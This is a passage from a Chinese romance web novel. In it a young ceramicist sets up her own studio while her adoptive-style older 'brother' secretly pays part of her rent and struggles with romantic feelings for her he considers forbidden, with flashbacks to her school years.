沉默的间隙,那纠结的样子已经全部落入对面周良宴的眼中,他开口:“你长大了,应该知道该如何判断取舍,我以后也就不再多问。”
他的声音低沉富有磁性,说话时不急不缓风轻云淡,能轻易给予人无穷的安全感,沈舒言小时候闯祸后听到他
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的声音就会莫名心安,现在也一样。
她抿嘴轻轻点头。
沈舒言和平时的胃口差不多,甚至还要更好一些,两碗饭后再盛了一碗汤,到最后不多不少刚刚好。倒是周良宴看上去胃口不佳,从开始到结束也没吃多少。
吃完后,周良宴说:“来时我问过护士,你今天下午就能出院。”
“嗯,她刚才来跟我说过。”沈舒言站起身看他一眼,周良宴正弯腰把碗碟一一往食盒里面收,深色的衬衫袖子卷至小臂。
周良宴说:“好,我下午来接你。”
沈舒言摇头,“哥你去忙你的吧,不用管我。”
周良宴没说话,他盯着桌面看了很久,声音低沉下去,“好。”
……
周良宴回公司了,沈舒言又躺回病床上一觉睡到下午快五点,睁眼没多久便被护士通知她可以出院了。
打了个出租很快到家,她摁下电梯,迈进家门的第一步就是走到卧室给手机充电,刚才下车时手机电量不足的声音就已经响起很多次。
手机放在床头柜上充上电后,才转身去衣橱拿了套睡衣光着脚走进浴室。
昨天发烧时出了一身汗,她现在急需冲个热水澡。
水流声塞满耳朵,她闭着眼任由温热的水打湿头发滑过身体。
洗完澡后扑进床里长长呼出一口气,她觉得病气和困乏都被冲走觉得整个人十分舒爽。
微信提示音响起,她躺着拿起手机点开软件,李明哲的聊天框被顶到最上方的位置。
「言言,有一处合适的房源正好出租。」
过了几秒,又发过来一条。
「这家房主之前也是做陶瓷相关的,地方大采光也好,绝对适合你。」
沈舒言单手撑着床垫借力坐起,靠在床头。
「租金方面呢?」
那么好的房子,租金估计不便宜,她手头上现钱不多,后期用到钱的地方多,在租房子这方面准备需要酌情考虑,不想投入太多资金。
那边很快回复:「这个你放心,前房主家里有事,着急出手,租金压的低。」
听到这话,沈舒言才放下心来,思索片刻回复道:「行,下周我刚好有空,过去看看可以吗?」
「随时都可以。」
「好,谢谢明哲哥,改天请你吃饭。」
看到对面发来的回复,李明哲发了一个ok的表情包,而后把手机熄屏放到桌面上。
旁边的人正面无表情的喝水。
李明哲这几天很少来这边,今天好不容易来一次,到包厢屁股都没坐热,就看到周良宴推门进来,顺手把一个黑色的文件放到他面前让他给言言发消息说房子已经找好了。
等他嘴巴张开要问的时候,被一句让你发就发,哪来那么多废话给堵了回去。
这会儿消息发完,他才仔细翻看文件内容,边看边问:“现在这是怎么个事儿,我变传话筒了?你跟言言吵架了?”
周良宴的侧脸被壁炉里红色的火光映照着,平静的说:“没吵架。”
“没吵架?那你怎么不直接找她?”
沉默良久,周良宴沉声开口:“她不愿意让我插手。”
话音落,还没等李明哲再次询问,旁边的人已经站起身,“我先走了,公司还有事。”
李明哲回头看他的背影。总觉得的周良宴不知道从什么时候开始变得越来越看不透,话也越来越少。
12. secret
沈舒言的辞呈前几日已经递交上去,周五正式走离职流程,她决定先去看房。
李明哲做事大条,这次难得贴心的派人直接将她带到目的地。
展厅的主人姓康,看上去年长二十几岁,沈舒言叫她康阿姨。
康阿姨领着她将房间里外都细致参观,聊天过程中得知她是做陶瓷工作后特意看了她的部分作品展出图,而后便是抑制不住的夸赞,说自己的老头子爱喝茶,有机会来找她定制茶具。
沈舒言笑着应承,留了康阿姨的私人联系方式。
房屋前身是间高级展厅,空间自然开阔,尤其左边有扇超大落地窗,阳光照进来时整个房子都变得明亮通透。
这处房源整体看下来要比沈舒言预期中的好上太多,此处的地理位置也属绝佳,几分钟路程就可到最近的地铁口。
最最重要的是,康阿姨因急于出手,报出的租金比她心理预估价要低上不少。
沈舒言综合考量,当下就拍板接手。
最重要的事情解决,第二天她一刻没停的回到原工作室,花费几个小时挑挑拣拣,将自己之前的作品与工具打包好后叫了辆中面拉走。
车子开了几十分钟,和师傅们一起将东西从车上搬进屋内,身体和脑子这才终于有得以喘息的片刻。
沈舒言靠在墙边看着地面上大大小小的箱子有点无从下手。
早上走得急随便应付了几口,此时肚子已经开始抗议,她准备先点份外卖补充体力后再继续收拾。
将脚边的东西往旁边移动,预留出可以过人的通道,整个人泄力般坐在一旁的沙发上拿起桌子上的手机。
这几日连轴转,此刻是难得放松的宁静时光,沈舒言失神的望着地面放空大脑。
窗外的天色将暮未暮,所有的颜色都已沉静,天空褪去蓝底,只有一抹橙红,疏影横斜,小楼外的梧桐被夏风吹的沙沙作响。
阳光被树叶缝隙切割成各异形状斑驳透彻,树叶缝隙折射出的光斑透过落地窗落在青灰色水泥地面,枯燥的灰被光添上别样的韵味。
从地面反光出能看到一道身影往这边走,踏着细碎的斜阳。
沈舒言呆滞的思绪还没回笼,有些懵的抬头,因是逆光看不清楚,只能看到模糊的轮廓和被碎光晕染的衣衫。
来人被裹挟在暖调的昏黄里,平日里冷硬挺括的西装都被照的柔和,但眸光却依旧疏离淡漠。
手里拎着几个牛皮纸袋,望见沙发上的人后,不易察觉的加快步伐。
“言言。”
沈舒言怔愣后回神,带着点疑惑的微笑着与他打招呼。
不等她问出口,周良宴说:“明哲给我的地址。”
沈舒言点头,站起身接过袋子放在一旁的桌子上。
她穿着灰色圆领T恤和深蓝色牛仔裤,极其简约随意的一身,却难掩令人无法错目的美。
头发简单随意的挽成凌乱的低丸子,光俏皮的落在她的侧脸和飘扬的发丝上,叫人的心脏无端荡起一阵又一阵不可抑制的余韵。
沈舒言转头,见周良宴的目光似乎落在她的身后,开口解释:“东西都是刚搬来,还比较乱。”
说完随手指了指一旁的大堆纸箱子。
周良宴望过去,嗯了一声,说:“工作刚好路过,给你带了公司楼下的甜品。”
沈舒言点头,解开袋子,红色的果肉跳入眼帘,她拿出勺子往嘴里送了一口,入口奶油细腻轻盈搭配上酸甜树莓慕斯,一种难以言说的满足感涌上心头。
趁着她品尝甜品的间隙,周良宴起身拆开另外一个袋子,找来干净的白瓷碗,将葡萄一颗一颗摘下来放进碗里,解开袖口将衬衫袖子挽至关节处,而后拧开水龙口开始一颗一颗仔细清洗。
反复洗过几遍后关掉水龙头端起瓷碗往桌边走,他将瓷碗放置桌面,水顺着修长的手指往下流,抽了张纸慢条斯理的一根一根擦着手指,最后将纸折叠几次顺手扔进一旁的垃圾桶里。
凝神看着沈舒言解决完最后一口后才出声,“吃点水果解腻,公司还有很多事要处理,我先走了。”
沈舒言点头,抬眼看着周良宴拿起搭在椅背上的西装外套穿上,骨节分明的大手将纽扣一颗颗扣起,转身往门口走去。
门外车里的李明哲正坐在驾驶位无所事事的划着手机屏幕,看到周良宴从里面出来后才将手机扔到一边,问:“怎么不多待一会儿。”
周良宴系低头安全带,脸上没有一点情绪,“言言第一次自己一个人做这些,我来看看情况。”
李明哲启动车子,叹了口气,“把手里的工作都扔到一边拉着我从城北边儿跑到城南边儿,在甜品店排几个小时队就为了买块小蛋糕的是你,现在进去拢共待了不到20分钟的也是你,先别说言言,我想问问你现在是什么情况?我看着你怎么那么别扭呢啊?”
周良宴抬头看他一眼,没有说话,只是沉默。
李明哲投降似的接着开口,“得得得,我不说,咱们周总就说不得是吧,你爱咋咋吧,别扭死你。”
/
第二天清晨,沈舒言打起精神来收拾东西。
电窑炉和架子这些大件儿她一个人没办法挪动,最终决定先整理小物件儿。
刚拆开一个纸箱,便听到桌面上的手机震动,沈舒言划开屏幕,赵岚娜已经从南城回来,问她此时在不在家。
沈舒言:不在。
接着后面附上一张凌乱地面的照片。
赵岚娜:那我现在过来?
沈舒言:好。
还没半个小时,赵岚娜已经出现在门口。
她起身清理面前的桌面,“刚从南城回来?”
赵岚娜:“嗯,早上六点的飞机,在家里眯了一会儿就迫不及待来找你了,好几天不见你,我真的太想你了。”
沈舒言笑着看她,不说话。
赵岚娜撇嘴,“其实是想亲耳听你讲讲和际琛的事儿。你不要跟我说你跟他就上次那天以后再没见过面了?”
沈舒言点头。
“那我上次在电话里苦口婆心跟你说的你听进去没。”
沈舒言喝了口可乐,“哎呀,听进去了。”
赵岚娜抬眼:“你这可一点不像是听进去的样子。”
沈舒言问,“你刚才右手边那个袋子是什么?”
话题成功转移,赵岚娜放下手中的可乐,把袋子拿到手上献宝似的,“给你带的礼物,我逛了好久才买到的。”
是一款贝壳状的香薰蜡烛,沈舒言很喜欢,当下便起身将香薰摆在展台上。
吃完饭,她带着赵岚娜参观起工作室。
几百平的三层小楼,南北通透,采光极佳。
赵岚娜感叹:“真不错,你的小金库交完租金是不是已经不够用了,到时候姐养活你。”
沈舒言笑着摇头,“前房主着急出手给我价格比较低。”
“多少?”
沈舒言伸出手指报了个数。
赵岚娜睁大眼睛,“这么低?我舍友想在这租房被价格劝退了,她找的那个地儿比你这儿贵了一倍不止。”
“.....那么夸张吗?”沈舒言若有所思。
两人边走边说,走到了洗手池的位置,赵岚娜瞥见一款男士手表正静静躺
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在摆台上,表盘折射着耀眼的光。
她快步走过去,嘿嘿笑,“还说没联系,你这儿怎么会有男士手表?坦白从宽,抗拒从严。”
“真没有,目前来过我这里的唯一一个男性,就是我哥,应该是他昨天落下的。”
赵岚娜还想说什么,口袋里的手机一震,同学给她发来消息说学校临时有事,需要回去一趟,她只能先行离开,临走前两人约好改天再聚。
刚将赵岚娜送走没一会儿,就听到有人敲门。
沈舒言闻声起身,看到明显隶属两家公司的人站在左右两边,中间有一道无形的分界线。
领头的人出示证件后确认信息无误,便要进门开始整理。
沈舒言还一头雾水,询问是否能查询到下单人的信息,可两家公司的反馈都同样是无法查到。
她只能让人先稍等片刻,拿起手机打开通讯列表。
正准备点开李明哲的聊天框,突然,几乎是同一时间。
手机震动几下,有两个头像弹到界面顶部,右上角缀着显眼的未读红点。
只一瞬便明了。
际琛发来的消息与她猜想的无异,他说自己今天临时有事抽不开身,便叫了几个家政过去帮她。
沈舒言这也才想起,她告诉过他工作室的地址。
思量片刻,她回复谢谢,改天请他吃饭,便退出两人聊天界面。
另外一条消息还缀着红点留在列表顶部。
是周良宴。
沈舒言盯着红点看,有几分发怔,抬手点进去。
周良宴:叫了家政公司过去,让他们帮你。
沈舒言:好,谢谢哥。
周良宴:初次创业,有问题尽管找我。
沈舒言:好。
手机显示对面一直在输入中,可过了很久都没有消息发来,沈舒言又接着说:哥,今天下午忙吗?
瞬间回复。
周良宴:不忙。
沈舒言:你的手表落在我这里了,我给你送过去。
周良宴:不用,我下午顺路去那边,我去找你。
信息刚发过去,周良宴便叫助理高卓远进来,“我下午临时有事,会议推迟到明天早上,恒天那个项目你继续跟进,中午开会说的报表发到我邮箱。”
高卓远连忙点头,递上手中的文件,“这是华尚的财务报表,签字页在最后一页。”
周良宴翻看手中的文件,眼前的人却一直没动,他问:“还有事儿?”
对面的人犹豫几秒,才又递上一份文件,“这是付董那边给的,说让您看看。”
周良宴手上的动作停顿,抬眼,语气还是一贯的平稳:“高卓远。”
高卓远应了声。
周良宴:“你的职业规划有变动?”
空气几乎凝固,高卓远咽了口口水眼神飘忽,头皮开始发麻,说话都有点儿哆嗦,“小周总,我一直都是想在您手下好好干。”
周良宴没看他,继续翻看手中的报表,“我觉得你志不在此,要不我把你调到那边去。”
高卓远低头,将手中那份文件捏在手里,“周总,我错了。”
手中的报表已经签好字,周良宴看了眼时间,“这种文件不要再出现在我面前,别让我说第二次,出去吧。”
高卓远垂着脑袋点头后出门,关门声响起。
周良宴取下鼻梁上的眼镜仰靠在椅背上闭上眼睛。
几分钟后又重新开始工作,直至天空褪色,他看了眼时间,起身拿起桌面上的手机往外走。
摁下负二层后,他打开聊天框发消息,问沈舒言吃饭没。
13. secret
幸好有专业人士在,整理的进展飞快。
临近下午四五点时,所有东西基本已经规整完毕,沈舒言在单子上签字确认,工人们陆续离开。
六点一刻,太阳已然有下落的趋势,天空渐渐褪去蓝底。终于厅内的最后一处收拾好,手机发出低电量警告,沈舒言把手机放在客厅充电,起身去洗手。
回来时,手机屏幕亮起,是周良宴发来的消息,她擦干净手拿起手机正准备回复,一道男声叫住她:
“言言──”
转头看过去,微微眯眼。
那人走近,黑色T恤和休闲裤,肩上挎着个双肩包,正缓缓走过来。
沈舒言看清来人后有些惊讶:“际琛?你怎么来了?”
际琛笑了:“我刚比完赛,过来看看你这边还有没有需要帮忙的。”
沈舒言将手机息屏重新放回桌面,往前走了几步,两人离得近了点,这才发现际琛手臂上浅浅的擦伤,她问:“怎么受伤了?”
“比赛的时候不小心摔了一跤,没什么大碍。”际琛将双肩包放在沙发上。
沈舒言点头,“谢谢你帮我请搬家公司过来,改天请你吃饭。”
他们不算太熟,际琛其实没必要做到这种地步,不过既已经如此,她理应感谢。
际琛仰头望她,“言言,我们俩用不着这么客气。”
话已经说到这个份儿上,沈舒言找不出反驳的话,毕竟他们两家关系向来交好,若再继续客套倒显得别扭小气了。
她思索几秒,侧身看旁边一旁的立柜,“那你坐这儿等一会儿,我有医药箱,给伤口简单消毒一下,不然会发炎。”
际琛没有拒绝,一屁股坐进沙发里,“麻烦你了。”
好在手臂上的伤口没有严重需要去医院的地步,只需简单消毒即可。
窗外天色已晚,暮色将沉,文创园内道路两旁的路灯依次亮起。
周良宴没等到沈舒言的回复,想是她还在忙,怕她饿着,便绕道去兰桂坊带了几道她爱吃的菜先垫垫肚子。
车子稳稳停在路旁,他解开安全带准备下车,却在抬眼望进屋内后,手上的动作僵硬的停顿。
隔着窗玻璃,他看着坐在沙发上的两人良久。
沈舒言正低头用棉签认真擦拭,旁边的际琛温柔的注视着她,那眼里的情愫,他再熟悉不过。
路灯上落了只鸟儿,扇着翅膀叽叽喳喳的跳来跳去,太阳西坠,霞光铺满地平线,所有的颜色都被染上一层昏黄的柔雾。
周良宴扯了下领带,绷紧脸色,吐了口气后仰靠在座椅上。
沈舒言从小就是乖孩子,周家左邻右舍几户邻居中,没人不喜欢这个可爱又听话的小姑娘。
长辈们逢年过节聚在一次喝茶磋磨时光时,每每提起周家的小女儿都要夸上几句。
少女穿着粉色的连衣裙,乖巧的向长辈问好,几位特别喜欢她的阿姨经常开玩笑的问她要不要做自己家的儿媳妇。
那时候小姑娘还懵懵懂懂,不知道这些,求救似得看旁边的哥哥,逗得大人们哈哈大笑。
周良宴和沈舒言相差六岁,沈舒言18岁时,周良宴大学毕业准备继续深造。
彼时沈舒言高三,正是备战高考的冲刺阶段,她成绩向来优异,却从来都是不骄不躁,放学后上完一对一家教,还要坚持学习到深夜,周良宴常能看到她的卧室亮了一整夜的灯。
熬夜的后果就是早上起床时太过慌乱落下东西,沈舒言只能借老师的电话让哥哥帮忙把书本送到学校。
周良宴赶到沈舒言上学的高中,刚好是课间活动,在校门口门卫处等待的间隙,他从几个女生嘴里听到妹妹的名字。
她们说高三有一个叫沈舒言的,长得漂亮学习还好,几乎每次都是年级第一,整个年级没有人能撼动她的地位。
“我觉得她真的好厉害!每一科都特别强,狠狠打脸那些说女生理科不好的人。”
“是啊,太牛了,唯一不是第一的一次还是因为发烧没发挥好。哎对了,我最近听说了点关于她的八卦哦~”
“什么?”
“听他们班同学说,她和内谁走挺近的,两人经常一起写作业,好像是在谈恋爱……”
“啊?不会吧?别影响学习啊!”
不知不觉,女孩儿们的声音渐远。
周良宴反复咀嚼刚才听到的话,眉毛不自觉的蹙起。
再抬眼,沈舒言与一位男同学走过来,笑着说哥你来啦。
周良宴嗯了声,将书本和食盒一起递过去,嘱咐她回到教室就要把里面洗好的水果吃掉,放久会变得不新鲜。
得到妹妹笑眼盈盈的肯定答复,他才点头。临走时冷脸看了眼旁边男生。
回家路上,始终紧紧握着方向盘,比平时要更用力,手腕上的青筋凸显,面上却依旧如常,看不出任何其他情绪。
周良宴心想,十七八岁的年纪谈不谈恋爱好像都无可厚非,可无论妹妹的感情如何,他都不应该是现在这样心情。
一种难以言说,捉摸不透的情绪在心底愈演愈烈,翻腾奔涌。
他面无表情的回到卧室,厚重的窗帘被拉开狭窄的一道,有光从缝隙中透进来落在一旁的桌子上。
与光一同望过去,目光最终虚落在桌面最显眼位置与妹妹的合照上,她手捧白色的洋桔梗,眉眼弯着,亲昵的依偎在自己身侧。
过往的种种回忆涌上心头,抽丝剥茧中,他顷刻明了。
良久,他仿佛妥协般起身走到桌子前,修长的手指轻轻抚摸相框玻璃。
“砰”很轻的一声。
两人的合照被轻轻倒扣在桌面,妹妹那样阳光明媚的眼神好像此时透过玻璃望着他,肮脏的心被灼伤刺穿。
至少在今天之前,在此刻之前。
他从来没有想过会对自己的妹妹拥有除了亲情之外的感觉。
在听到妹妹可能谈恋爱后,他发现自己心头涌上来的不止是愤怒,更多的是恐慌和嫉妒,他害怕她的世界不再需要自己,嫉妒别人可以光明正大的向她表露真心。
他木然的靠坐在床头,直至缝隙里的光逐渐消散,直至夜晚降临,吞噬整个房间。
时至今日,数年前被埋藏在心底的妒意和自厌又重新归来,对自己的厌恶与唾弃再次达到顶峰。
呼吸始终无法平复,周良宴闷笑一声,像是嘲讽。
几分钟后被手机的消息震动拉回思绪,是沈舒言打来的。
电话接通,沈舒言说:“哥,你吃饭了吗,际琛刚好也在,你来我们刚好一起去吃个饭。”
周良宴嗯了一声。
通话结束。
他握着手机,隔着玻璃沉默无言的望着她,妹妹正把他的手表轻轻放在面前的桌面。
中途旁边的际琛不知道看到什么,把自己的手机屏幕放在她眼前,逗得她嘴角露出笑意。
电话挂断,周良宴在车里又待了几分钟,副驾驶放着的餐食大概已经凉了,他打开后备箱将食盒放进去。
一如他躁动的心,重新被藏在无人知晓的最底处。
餐厅是半预约制,环境雅致,在挂断电话后,周良宴便第一时间订好位置。
三个人到达餐厅,服务员便通知后厨准备上菜。
所有菜式上齐,桌面都是沈舒言爱吃的菜,她拿起筷子夹了块虾仁往嘴里送。
周良宴喝了口水望着她,待他嘴里的东西咽完,才问:“工作室今天都收拾收拾好了吗?”
沈舒言答道:“都差不多了,需要再买一些软装。”
周良宴语气没什么起伏,“嗯,有什么需要的尽管开口。”
沈舒言点头,“好,谢谢哥。”
周良宴没没再接话,只时不时滑动手机屏幕,将目光落在别处。
沈舒言今天收拾东西劳累了一天,已经饿的不行,他降低自己的存在感,让她可以好好吃饭。
临近尾声,周良宴才开口:“际琛,等会儿我先送你回家。”
际琛点头,有些不好意思,“好,谢谢良宴哥。”
婉拒唐阿姨留他们多待一会儿的提议,车子从际家拐出。
车内只剩两人,一时无言。
沈舒言把头偏向窗外,道路旁的街灯与门头灯融在一起,五彩斑斓。
酒足饭饱,眼皮不住的往下垂,漫长的路程走到后面,她已经迷迷糊糊是生出困倦。
直到快到家时,才从朦胧的睡意中苏醒。
周良宴目送她回家,抬头看着烂熟于心的那一层灯光亮起,才将车头调转。
路上,降下一侧的车窗,任由冷风往车厢里面灌。
他没回家,将车开到李明哲新开的清吧。
“稀客呀,周总。”李明哲从里面出来迎接,打趣的喊。
周良宴嗯了声,再没其他反应,径直往里走。
包厢里灯光流转,李明哲推门进来,他察觉到好友的不对劲,“工作碰到问题了?”
周良宴摇头,将桌面上的水杯往远推了推。
李明哲一看便知是什么意思,叫服务员拿上来几瓶酒,他此刻也有些诧异,“到底是什么事,能让你烦到要用喝酒来缓解。”
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>周良宴是很少碰酒的人,他理智,冷淡,同时有着异于常人的自制力。
在北城这群二代的圈子里,他有着超出同龄人的沉稳和冷静,名字也始终在良婿榜首。
李明哲和周良宴也算打小就认识,他很少见他有此刻这样显露情绪的状态。
“没什么事。”包厢里放着不知名的轻音乐,壁炉边红色的光映照在周良宴身上,他的语气一如往常,“只是今天工作有些累。”
“你终于知道累了,”终于听到原因,李明哲松了口气,拍拍他的肩膀,宽慰道:“累了就好好休息,别一天扑在工作上,人是要劳逸结合的,弦崩的太紧,一定会断,只是时间问题。”
周良宴点头,他心里那根弦算起来已经不知道紧绷了多久。
意识到自己对“妹妹”产生了不该有的念头时,是怎么惊骇讶异的心情,因时光久远已经记不太清。
他只记得,他当时是怎样的厌恶唾弃自己。
近二十年来父母的谆谆教诲一夕之间全部崩塌瓦解。
本以为出国几年这违背伦理的妄念便可消解几分。
奈何,物极必反。起初只是在心底挠痒般可望不可即的瘾,以弥天烟雾般将他笼罩反噬。
在异乡无数个冷寂的夜晚,他都无法控制的发疯般想她。
留学归来这几年,他逼迫自己适应这种无望,痛苦早已经像树木一样扎根心底,只留下平静的麻木。
他自觉已经将隐忍修炼的炉火纯青。
但人实在不能高估自己,在回来见到她的第一面,他就听到自己高筑起的城墙坍塌的声音。
和她在一起的每一分每一秒,他的心绪都被牢牢牵动。
他连续喝了好几瓶酒,丝毫没有要停的意思,李明哲有些慌了,适时的夺过酒瓶,“好了好了,今天到此为止,我叫人送你回去。”
周良宴眼眸低垂,只留落寞,盯着空着的酒杯不说话。
等回过神来的时候,已经被李明哲搀扶进车里,此时他正坐在副驾驶的位置。
周围还浮着些许还未消散的栀子香,手无力的垂在身侧,却在一瞬间触碰到滑腻的丝质布料。
他手往下伸,几秒过后,一条浅咖色发带躺在掌心。
因喝了酒,胸口闷热,可看着眼前再熟悉不过的发带,他竟觉得有些许凉意钻进身体。
到家后走进卧室,他踉跄着将身体摔进床上,手中的发带被放置鼻尖,熟悉的香气蔓延开来。
双眸无神的盯着天花板,忽而想起大学时的一次醉酒。
那时,还有个小小姑娘蹲在他的身侧。
那年他大四快毕业,因集团接手问题与父母争论不休,少年人还没学会将外露的情绪藏匿,与李明哲出门喝了不少酒。
回来时已经是凌晨三点多,他脚步已经有些虚浮,扶着墙壁走进卧室,还没走到床边就已经失力的仰躺在黑色皮质沙发上。
冷寂的月光透过玻璃铺面房间的每一个角落,忽然听到耳边传来细微的开门声,他扭头看过去。
涣散的目光最终聚焦在单薄的身影上,他问:“言言,你怎么来了,我吵到你了?”
小姑娘应该是已经准备休息,平日里系成马尾的秀发披散在肩头,身上已经换上柔软的家居服。
她秀眉微蹙,正往沙发边上走。
到沙发旁边时,才摇头,“你不开心吗?”
房间默了几秒,周良宴才轻声开口,回答道:“没有。”
两人共同生活快数十载,沈舒言也像哥哥了解自己般,了解他。
嘴上说着没有不开心的人,此刻眼里是怎么也挡不住的落寞。
她往前走了一步,说:“我可以在这儿陪你待一会儿。”
周良宴强制让自己的眼神保持清醒,摇头,“回去休息。”
得到的先是沉默,再然后就看到沈舒言倔强的坐在一旁,脊背靠在沙发边,扭头盯着他看,“不要。”
两人的眼神在空中交汇,周良宴的视线率先错开,落在天花板上。
不一会儿,酒精再次上头,他的眼睛慢慢闭上。
沈舒言轻手轻脚的回到卧室抱来自己的毯子和陪自己睡觉的娃娃,睡在另一旁的沙发上。
因为经常熬夜学习,她晚上很难入睡,视线重新落在哥哥身上。
看到那人的眉毛依然皱着,就连在睡梦中好像也是痛苦的。
她裹着毯子再次坐到沙发边,怕惊扰到哥哥,将手指轻轻伏在他额头。
如果哥哥可以远离所有不开心的事该多好。
她在心里想。
14. secret
后面好几天,沈舒言都是吃完早餐便往工作室赶,规整完零碎的东西,左瞧右瞧都觉得大厅太空,心里想着过几天就要去购置一些软装。
回去的路上,太阳已经几乎落山,日暮轻纱一般铺在地平线上,远处的风景也都被晕染的看不清楚,像是电影最后的落幕。
创业园离市中心比较远,空气清新怡人,柏油路两旁的树木上还有蝉鸣传出,空气中好散发着淡淡的植物清香。
走到车前刚打开车门就听到包里传来一下接着一下的振动声,她把挎在肩上的背包打开,拿出手机滑动接听。
“哈喽,小宝贝儿干嘛呢?”
电话听筒里传来赵岚娜搞怪的声音。
沈舒言嘴角慢慢上扬,关上车门后仰靠着闭眼,“刚忙完今天好累,现在准备回家。”
“从你声音里听出来了,有气无力的,要不要我来帮你。”
“我记得你才跟我说过这几天学校实验室很忙。”沈舒言慢悠悠的回话,眼睛依旧闭着,“还是别来了。你先把自己的事情忙完吧。”
赵岚娜咳了几声,贼兮兮的开口,“我是谁啊,小小实验不足挂齿。”
沈舒言笑着说:“这个我当然是知道的。”
赵岚娜又问:“你现在在哪儿?”
沈舒言回:“在车上。”
“那刚刚好,给你发了地址,你过来,我请你吃饭。”
沈舒言看了眼手机上的时间,晚上八点,“好,刚好我肚子已经饿的咕咕叫了。”
两人在餐厅门口碰面,落座后赵岚娜笑吟吟的开口:“一定多吃点,几天不见感觉你都瘦了。”
沈舒言摇头,“哪有那么夸张。”
点好的菜一道一道送上来,两人开始有一搭没一搭的聊天。
“言言。”赵岚娜吃了口鸭血放下手机,顿了一下才说,你租的那个房子的事,我又找同学确认了一下,那个地方根本就没你那么低的房价,况且你那个房子那么好,更不能那么低了。”
沈舒言倒了杯水,若有所思,“是吗.....”
赵岚娜:“你最好是再确认一下。”
这件事确实进展的有些过于顺利,她思来想去也只能想到一个人。
其实应该第一时间就想到的。
周良宴比谁都要了解她,他见证了她每一个时间段的变化,了解她所有的喜恶,房子这种事情自然不用多说。
沈舒言是个好孩子,在家里时,在学校也是这般。小女孩虽不爱说话,但是文静秀气,谁看了都会心里欢喜。
父母忙时,都是周良宴去开班会,每次去都能听到各科代课老师对她的夸奖。
想是在学校与老师同学都相处的很不错,沈舒言回家时虽然话不多,但都能看出来心情是不错的。
直到某一天,她小脸皱在一起,可面上还是一副不愿意多说的样子。
吃完晚饭,周良宴洗了水果端着热牛奶,去敲她的卧室门。
沈舒言还穿着学校的校服,摊开课本温习功课,桌面上是已经写完一半的数学试卷。
“哥。”小姑娘虽心情不佳,但在面对哥哥时,一贯都是规矩听话的乖巧摸样。
“数学题难吗?”
“还好,我都会。”
“最近在学校怎麽样?”
“嗯.....挺好的。”她抿着嘴唇,尽力让自己看着不那么反常,“老师和同学都挺好的,他们对我很好。”
周良宴动动眼皮,垂眼看她,十五六岁的孩子把什么都表现在脸上,还以为自己演的天衣无缝。
过了好几分钟,他才轻声开口:“言言,乖孩子不要撒谎。”
她不说话了,神情耷拉着,像一只可怜的小猫,眼角马上就要浸出泪水。
周良宴也不催她,只静静等着,他知道她会把一切都说出来。
果然。
“哥。”沈舒言眼眶里的泪水已经要涌出来,“他们....他们都在乱说。我...不知道怎么办。”
沈舒言人长得漂亮,在学校又不爱说话,让有些人认为是个好欺负的主儿,开学没几天就被一群游手好闲的人缠上。
那些人中打头的是个不爱学习天天在学校瞎逛的混混,有次课间见过沈舒言一面后就领着一群人天天下课在三班教室门口守着。
他们也不干嘛,就是那样看着教室里面的人。
有时候还会在放学时跟在她后面,一口一句小妹妹要不要谈恋爱。
领头的人越走越近,沈舒言怕极了,朝着男生扇了一巴掌后飞快的跑到学校门口。
在那次之后学校里就传出一些不堪的流言。
他们说,沈舒言在学校里看着是个乖乖巧巧的小姑娘,实际上背地和男同学瞎混在一起,可怕的很呢。
她试着反驳,可完全没用。传言愈演愈烈,到现在已经是完全不能控制的地步。
整件事情叙述完,沈舒言脸上已经满是泪水。
周良宴静静听着,了解事情原委。
“言言,你没错,错的是他们。”他用纸巾帮妹妹擦掉脸上的泪水,郑重其事的说:“可哭是没有用的。”
沈舒言抬头,少女的脸上的泪痕还未干,双眸看着对面哥哥。
哭是没有用的,这句话沈舒言记了很久。
虽然遇到不好的事情时她还是会哭,但是她知道,哭只是宣泄,事情还要解决。
所以等周一大早,周良宴就接到沈舒言班主任的电话。
老师眼里的乖孩子做了一件不乖的事。
那天作为班级代表的沈舒言要进行英语演讲。
她在照常演讲完自己的英语稿子后,并没有离开广播室。
确认门已经反锁,开始对着话筒继续说:“老师,同学们好,我是三班的沈舒言,今天有一件事情想要澄清,是最近在学校里流传的有关于我的流言。”
国旗下的同学们开始骚动,老师也都皱着眉往楼上赶,可少女的声音还在继续,不给他们反应的时间。
“九班的李同学毫无边界的跟踪以及教室门口蹲守让我觉得很冒犯,再我向他严肃的说明这件事情后,他却开始恼羞成怒,在学校里散播一些关于我的不实言论,我想他需要跟我道歉。”
话音落,耳边就传来老师的喊声,门被拍的震天响,门把手被疯狂的扭动,沈舒言依旧不急不缓。
“为了证明我这些话的真实性,在这里我请大家先听一段录音。”
说完便拿出自己在网上买到的录音笔对准话筒,里面的声音传向学校的每个角落。
几分钟后门被狠狠推开,沈舒言收好录音笔跟着老师来到教导处。
父母的电话打不通,她鬼使神差的报出了周良宴的电话。
周良宴到学校是看到的就是这样一幅景象,沈舒言垂着脑袋站在一边,旁边的男生和家长怒目圆睁的盯着她。
大概是听了自己儿子的瞎话,他高声喊,“你这个有妈生没妈养的,你什么意思?我儿子怎么你了?”
周良宴大步走过去,将男生的父亲用力甩到一旁,冷眼看着他。
他没跟那些人说话,伸手轻轻拍了拍妹妹的肩膀后,用眼神示意她没事。
而后拿出电话拨打110,任由老师怎么调解都没有用。
这件事闹得极大,最后还是校长出面,承认学校在管理上面的漏洞,没有及时发现学生的问题任其发展。
听着都是一些老掉牙的官方话,好在最终也给予那几名一起传播谣言的同学处分,让他们在全校师生面前道歉,领头那名
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男生也被开除了学籍。
他们相处的时间太久了,哪怕是一个表情,周良宴都能察觉到不对劲。
所以他大概看出来在工作室这件事上自己不愿意让他帮忙,所以将此事拜托给李明哲。
和赵岚娜的饭局结束,已经晚上快十点。
沈舒言回家洗了个热水澡,拿出手机给周良宴打电话。
很快接通,沈舒言轻声叫了声哥。
那边的周良宴应了句,等待她的下文。
“有个问题想问你。”
“你问。”
沈舒言开门见山:“工作室的租金,是不是你帮我垫付了一部分。”
电话那头一顿,半晌才传过来一句:“没有。”
知道是假话,沈舒言没有着急反驳,她声音很轻,“哥,不要撒谎。”
过了好几分钟,周良言不再否认,问:“你明哲哥告诉你的?”
“不是,我猜的。”
“先不谈租金,这个房子你满意吗?”
根本不用问,周良宴给沈舒言的永远都会是满分答卷。
她嗯了声,不管是地理位置,采光还是装修风格,她都很满意。
周良言语气很平静,没有半点被抓包的无措,坦然道:“满意就好,不要有太大的心理负担,我只是帮朋友,不是租给你也会租给别人,凑巧而已。”
话里没有破绽,竟让沈舒言没办法接下去。
而后两人又随便说了几句,电话挂断。
